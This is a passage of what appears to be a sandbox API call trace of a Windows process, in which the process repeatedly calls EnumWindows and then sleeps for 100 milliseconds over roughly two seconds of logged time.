[0140.410] Sleep (dwMilliseconds=0x64) [0140.411] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.412] Sleep (dwMilliseconds=0x64) [0140.413] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.414] Sleep (dwMilliseconds=0x64) [0140.415] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.416] Sleep (dwMilliseconds=0x64) [0140.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.417] Sleep (dwMilliseconds=0x64) [0140.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.419] Sleep (dwMilliseconds=0x64) [0140.420] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.420] Sleep (dwMilliseconds=0x64) [0140.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.422] Sleep (dwMilliseconds=0x64) [0140.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.423] Sleep (dwMilliseconds=0x64) [0140.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.425] Sleep (dwMilliseconds=0x64) [0140.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.426] Sleep (dwMilliseconds=0x64) [0140.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.428] Sleep (dwMilliseconds=0x64) [0140.429] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.430] Sleep (dwMilliseconds=0x64) [0140.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.477] Sleep (dwMilliseconds=0x64) [0140.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.479] Sleep (dwMilliseconds=0x64) [0140.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.481] Sleep (dwMilliseconds=0x64) [0140.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.486] Sleep (dwMilliseconds=0x64) [0140.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.487] Sleep (dwMilliseconds=0x64) [0140.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.489] Sleep (dwMilliseconds=0x64) [0140.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.490] Sleep (dwMilliseconds=0x64) [0140.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.492] Sleep (dwMilliseconds=0x64) [0140.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.493] Sleep (dwMilliseconds=0x64) [0140.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.495] Sleep (dwMilliseconds=0x64) [0140.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.499] Sleep (dwMilliseconds=0x64) [0140.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.501] Sleep (dwMilliseconds=0x64) [0140.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.502] Sleep (dwMilliseconds=0x64) [0140.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.504] Sleep (dwMilliseconds=0x64) [0140.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.505] Sleep (dwMilliseconds=0x64) [0140.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.507] Sleep (dwMilliseconds=0x64) [0140.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.508] Sleep (dwMilliseconds=0x64) [0140.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.510] Sleep (dwMilliseconds=0x64) [0140.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.512] Sleep (dwMilliseconds=0x64) [0140.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.515] Sleep (dwMilliseconds=0x64) [0140.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.517] Sleep (dwMilliseconds=0x64) [0140.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.519] Sleep (dwMilliseconds=0x64) [0140.520] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.520] Sleep (dwMilliseconds=0x64) [0140.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.522] Sleep (dwMilliseconds=0x64) [0140.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.523] Sleep (dwMilliseconds=0x64) [0140.526] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.526] Sleep (dwMilliseconds=0x64) [0140.528] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.528] Sleep (dwMilliseconds=0x64) [0140.530] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.530] Sleep (dwMilliseconds=0x64) [0140.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.532] Sleep (dwMilliseconds=0x64) [0140.533] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.533] Sleep (dwMilliseconds=0x64) [0140.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.609] Sleep (dwMilliseconds=0x64) [0140.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.714] Sleep (dwMilliseconds=0x64) [0140.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.823] Sleep (dwMilliseconds=0x64) [0140.867] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.867] Sleep (dwMilliseconds=0x64) [0140.941] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.941] Sleep (dwMilliseconds=0x64) [0140.944] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.944] Sleep (dwMilliseconds=0x64) [0140.945] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.945] Sleep (dwMilliseconds=0x64) [0140.947] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.947] Sleep (dwMilliseconds=0x64) [0140.948] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.948] Sleep (dwMilliseconds=0x64) [0140.950] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.950] Sleep (dwMilliseconds=0x64) [0140.952] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.952] Sleep (dwMilliseconds=0x64) [0140.955] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.955] Sleep (dwMilliseconds=0x64) [0140.957] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.957] Sleep (dwMilliseconds=0x64) [0140.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.958] Sleep (dwMilliseconds=0x64) [0140.959] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.960] Sleep (dwMilliseconds=0x64) [0140.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.961] Sleep (dwMilliseconds=0x64) [0140.963] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.963] Sleep (dwMilliseconds=0x64) [0140.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.965] Sleep (dwMilliseconds=0x64) [0140.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.966] Sleep (dwMilliseconds=0x64) [0140.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0140.968] Sleep (dwMilliseconds=0x64) [0141.032] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.033] Sleep (dwMilliseconds=0x64) [0141.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.035] Sleep (dwMilliseconds=0x64) [0141.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.037] Sleep (dwMilliseconds=0x64) [0141.038] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.038] Sleep (dwMilliseconds=0x64) [0141.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.040] Sleep (dwMilliseconds=0x64) [0141.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.042] Sleep (dwMilliseconds=0x64) [0141.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.044] Sleep (dwMilliseconds=0x64) [0141.045] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.045] Sleep (dwMilliseconds=0x64) [0141.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.047] Sleep (dwMilliseconds=0x64) [0141.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.048] Sleep (dwMilliseconds=0x64) [0141.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.050] Sleep (dwMilliseconds=0x64) [0141.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.051] Sleep (dwMilliseconds=0x64) [0141.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.053] Sleep (dwMilliseconds=0x64) [0141.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.056] Sleep (dwMilliseconds=0x64) [0141.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.059] Sleep (dwMilliseconds=0x64) [0141.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.060] Sleep (dwMilliseconds=0x64) [0141.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.062] Sleep (dwMilliseconds=0x64) [0141.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.064] Sleep (dwMilliseconds=0x64) [0141.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.065] Sleep (dwMilliseconds=0x64) [0141.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.067] Sleep (dwMilliseconds=0x64) [0141.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.069] Sleep (dwMilliseconds=0x64) [0141.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.072] Sleep (dwMilliseconds=0x64) [0141.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.074] Sleep (dwMilliseconds=0x64) [0141.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.077] Sleep (dwMilliseconds=0x64) [0141.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.079] Sleep (dwMilliseconds=0x64) [0141.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.083] Sleep (dwMilliseconds=0x64) [0141.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.085] Sleep (dwMilliseconds=0x64) [0141.086] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.087] Sleep (dwMilliseconds=0x64) [0141.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.088] Sleep (dwMilliseconds=0x64) [0141.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.090] Sleep (dwMilliseconds=0x64) [0141.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.091] Sleep (dwMilliseconds=0x64) [0141.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.093] Sleep (dwMilliseconds=0x64) [0141.095] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.095] Sleep (dwMilliseconds=0x64) [0141.097] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.097] Sleep (dwMilliseconds=0x64) [0141.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.098] Sleep (dwMilliseconds=0x64) [0141.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.100] Sleep (dwMilliseconds=0x64) [0141.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.102] Sleep (dwMilliseconds=0x64) [0141.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.103] Sleep (dwMilliseconds=0x64) [0141.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.105] Sleep (dwMilliseconds=0x64) [0141.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.106] Sleep (dwMilliseconds=0x64) [0141.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.107] Sleep (dwMilliseconds=0x64) [0141.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.109] Sleep (dwMilliseconds=0x64) [0141.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.113] Sleep (dwMilliseconds=0x64) [0141.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.115] Sleep (dwMilliseconds=0x64) [0141.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.117] Sleep (dwMilliseconds=0x64) [0141.120] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.120] Sleep (dwMilliseconds=0x64) [0141.122] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.122] Sleep (dwMilliseconds=0x64) [0141.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.124] Sleep (dwMilliseconds=0x64) [0141.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.125] Sleep (dwMilliseconds=0x64) [0141.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.127] Sleep (dwMilliseconds=0x64) [0141.128] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.128] Sleep (dwMilliseconds=0x64) [0141.130] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.130] Sleep (dwMilliseconds=0x64) [0141.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.132] Sleep (dwMilliseconds=0x64) [0141.134] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.134] Sleep (dwMilliseconds=0x64) [0141.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.136] Sleep (dwMilliseconds=0x64) [0141.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.137] Sleep (dwMilliseconds=0x64) [0141.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.139] Sleep (dwMilliseconds=0x64) [0141.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.140] Sleep (dwMilliseconds=0x64) [0141.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.143] Sleep (dwMilliseconds=0x64) [0141.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.145] Sleep (dwMilliseconds=0x64) [0141.147] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.147] Sleep (dwMilliseconds=0x64) [0141.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.218] Sleep (dwMilliseconds=0x64) [0141.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.294] Sleep (dwMilliseconds=0x64) [0141.314] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.314] Sleep (dwMilliseconds=0x64) [0141.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.316] Sleep (dwMilliseconds=0x64) [0141.317] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.318] Sleep (dwMilliseconds=0x64) [0141.319] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.320] Sleep (dwMilliseconds=0x64) [0141.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.321] Sleep (dwMilliseconds=0x64) [0141.329] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.329] Sleep (dwMilliseconds=0x64) [0141.331] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.331] Sleep (dwMilliseconds=0x64) [0141.332] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.332] Sleep (dwMilliseconds=0x64) [0141.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.334] Sleep (dwMilliseconds=0x64) [0141.335] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.336] Sleep (dwMilliseconds=0x64) [0141.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.337] Sleep (dwMilliseconds=0x64) [0141.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.339] Sleep (dwMilliseconds=0x64) [0141.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.340] Sleep (dwMilliseconds=0x64) [0141.344] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.344] Sleep (dwMilliseconds=0x64) [0141.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.358] Sleep (dwMilliseconds=0x64) [0141.360] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.360] Sleep (dwMilliseconds=0x64) [0141.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.361] Sleep (dwMilliseconds=0x64) [0141.363] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.363] Sleep (dwMilliseconds=0x64) [0141.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.492] Sleep (dwMilliseconds=0x64) [0141.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.525] Sleep (dwMilliseconds=0x64) [0141.591] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.592] Sleep (dwMilliseconds=0x64) [0141.593] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.594] Sleep (dwMilliseconds=0x64) [0141.595] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.596] Sleep (dwMilliseconds=0x64) [0141.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.598] Sleep (dwMilliseconds=0x64) [0141.600] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.600] Sleep (dwMilliseconds=0x64) [0141.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.602] Sleep (dwMilliseconds=0x64) [0141.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.606] Sleep (dwMilliseconds=0x64) [0141.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.609] Sleep (dwMilliseconds=0x64) [0141.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.611] Sleep (dwMilliseconds=0x64) [0141.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.613] Sleep (dwMilliseconds=0x64) [0141.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.615] Sleep (dwMilliseconds=0x64) [0141.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.661] Sleep (dwMilliseconds=0x64) [0141.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.663] Sleep (dwMilliseconds=0x64) [0141.664] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.665] Sleep (dwMilliseconds=0x64) [0141.666] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.666] Sleep (dwMilliseconds=0x64) [0141.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.668] Sleep (dwMilliseconds=0x64) [0141.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.670] Sleep (dwMilliseconds=0x64) [0141.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.671] Sleep (dwMilliseconds=0x64) [0141.672] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.673] Sleep (dwMilliseconds=0x64) [0141.674] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.674] Sleep (dwMilliseconds=0x64) [0141.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.676] Sleep (dwMilliseconds=0x64) [0141.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.678] Sleep (dwMilliseconds=0x64) [0141.680] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.680] Sleep (dwMilliseconds=0x64) [0141.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.682] Sleep (dwMilliseconds=0x64) [0141.683] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.684] Sleep (dwMilliseconds=0x64) [0141.685] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.685] Sleep (dwMilliseconds=0x64) [0141.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.687] Sleep (dwMilliseconds=0x64) [0141.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.688] Sleep (dwMilliseconds=0x64) [0141.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.690] Sleep (dwMilliseconds=0x64) [0141.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.692] Sleep (dwMilliseconds=0x64) [0141.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.745] Sleep (dwMilliseconds=0x64) [0141.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.747] Sleep (dwMilliseconds=0x64) [0141.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.750] Sleep (dwMilliseconds=0x64) [0141.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.752] Sleep (dwMilliseconds=0x64) [0141.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.754] Sleep (dwMilliseconds=0x64) [0141.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.756] Sleep (dwMilliseconds=0x64) [0141.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.757] Sleep (dwMilliseconds=0x64) [0141.759] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.759] Sleep (dwMilliseconds=0x64) [0141.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.761] Sleep (dwMilliseconds=0x64) [0141.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.763] Sleep (dwMilliseconds=0x64) [0141.766] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.767] Sleep (dwMilliseconds=0x64) [0141.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.769] Sleep (dwMilliseconds=0x64) [0141.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.771] Sleep (dwMilliseconds=0x64) [0141.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.773] Sleep (dwMilliseconds=0x64) [0141.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.834] Sleep (dwMilliseconds=0x64) [0141.836] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.836] Sleep (dwMilliseconds=0x64) [0141.838] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.838] Sleep (dwMilliseconds=0x64) [0141.842] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.842] Sleep (dwMilliseconds=0x64) [0141.844] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.844] Sleep (dwMilliseconds=0x64) [0141.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.846] Sleep (dwMilliseconds=0x64) [0141.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.848] Sleep (dwMilliseconds=0x64) [0141.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.850] Sleep (dwMilliseconds=0x64) [0141.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.851] Sleep (dwMilliseconds=0x64) [0141.853] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.853] Sleep (dwMilliseconds=0x64) [0141.855] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.855] Sleep (dwMilliseconds=0x64) [0141.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.857] Sleep (dwMilliseconds=0x64) [0141.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.859] Sleep (dwMilliseconds=0x64) [0141.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.861] Sleep (dwMilliseconds=0x64) [0141.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.863] Sleep (dwMilliseconds=0x64) [0141.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.864] Sleep (dwMilliseconds=0x64) [0141.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.866] Sleep (dwMilliseconds=0x64) [0141.867] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.867] Sleep (dwMilliseconds=0x64) [0141.870] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.870] Sleep (dwMilliseconds=0x64) [0141.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.872] Sleep (dwMilliseconds=0x64) [0141.880] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.880] Sleep (dwMilliseconds=0x64) [0141.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0141.982] Sleep (dwMilliseconds=0x64) [0142.022] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.023] Sleep (dwMilliseconds=0x64) [0142.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.024] Sleep (dwMilliseconds=0x64) [0142.027] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.028] Sleep (dwMilliseconds=0x64) [0142.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.050] Sleep (dwMilliseconds=0x64) [0142.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.052] Sleep (dwMilliseconds=0x64) [0142.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.054] Sleep (dwMilliseconds=0x64) [0142.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.055] Sleep (dwMilliseconds=0x64) [0142.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.057] Sleep (dwMilliseconds=0x64) [0142.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.098] Sleep (dwMilliseconds=0x64) [0142.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.130] Sleep (dwMilliseconds=0x64) [0142.132] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.132] Sleep (dwMilliseconds=0x64) [0142.134] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.134] Sleep (dwMilliseconds=0x64) [0142.136] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.136] Sleep (dwMilliseconds=0x64) [0142.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.140] Sleep (dwMilliseconds=0x64) [0142.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.142] Sleep (dwMilliseconds=0x64) [0142.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.144] Sleep (dwMilliseconds=0x64) [0142.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.148] Sleep (dwMilliseconds=0x64) [0142.149] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.149] Sleep (dwMilliseconds=0x64) [0142.151] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.151] Sleep (dwMilliseconds=0x64) [0142.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.153] Sleep (dwMilliseconds=0x64) [0142.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.155] Sleep (dwMilliseconds=0x64) [0142.156] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.156] Sleep (dwMilliseconds=0x64) [0142.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.160] Sleep (dwMilliseconds=0x64) [0142.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.162] Sleep (dwMilliseconds=0x64) [0142.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.164] Sleep (dwMilliseconds=0x64) [0142.166] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0142.166] Sleep (dwMilliseconds=0x64) [0142.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) 